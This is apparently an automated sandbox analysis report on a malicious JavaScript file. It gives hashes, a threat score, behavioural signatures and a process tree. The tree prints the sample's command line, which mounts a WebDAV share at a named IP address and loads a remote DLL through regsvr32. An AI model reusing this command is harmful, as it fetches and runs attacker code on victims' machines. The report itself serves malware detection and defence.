Analysis

  • max time kernel
    140s
  • max time network
    107s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 09:30

General

  • Target

    177703120212449921.js

  • Size

    5KB

  • MD5

    ba36d251f4628377800f8de948b6750c

  • SHA1

    cff1d37a696f5636b1e6e5a3e18c2b1dd5bf17a0

  • SHA256

    489fe79be262c3d4b5abcf32d62a4c068cf3edc4a73a3aeb2ce57d1bee4d85f9

  • SHA512

    090452ccd0d603276bd985efafcf8fdac3639507320093d8ddef5db55da402c3ae4c56fab9cb972a453051fb47c005f0cd69469c67fc31845bae43a146e6407c

  • SSDEEP

    96:VQh2g8EUPADwZWvQCYwww87UuWAkCs3dwww87UuWC3:bg6XWYwww8mAkTwww8mC3

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\177703120212449921.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:920
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\634646810499.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3504
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3956

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads